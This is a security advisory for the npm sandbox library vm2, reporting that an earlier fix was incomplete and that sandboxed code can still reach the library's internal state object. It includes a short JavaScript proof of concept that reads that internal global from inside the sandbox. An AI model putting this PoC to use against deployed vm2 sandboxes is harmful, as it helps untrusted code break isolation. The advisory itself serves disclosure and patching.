PT-2026-41697 · Npm · Vm2

Published 2026-05-08 · Updated 2026-05-08

OSV

CVSS v3.1

5.3

Medium

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

Details

It is still possible to get access to VM2 INTERNAL STATE DO NOT USE OR PROGRAM WILL FAIL.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2 INTERNAL STATE DO NOT USE OR PROGRAM WILL FAIL']
`));

Fix

Protection Mechanism Failure

Weakness Enumeration

CWE-693

Related Identifiers

GHSA-2CM2-M3W5-GP2F

Affected Products

Vm2

References · 4

• https://osv.dev/vulnerability/GHSA-2cm2-m3w5-gp2f · Vendor Advisory
• https://github.com/patriksimek/vm2 · Note
• https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f · Note
• https://github.com/patriksimek/vm2/releases/tag/v3.11.2 · Note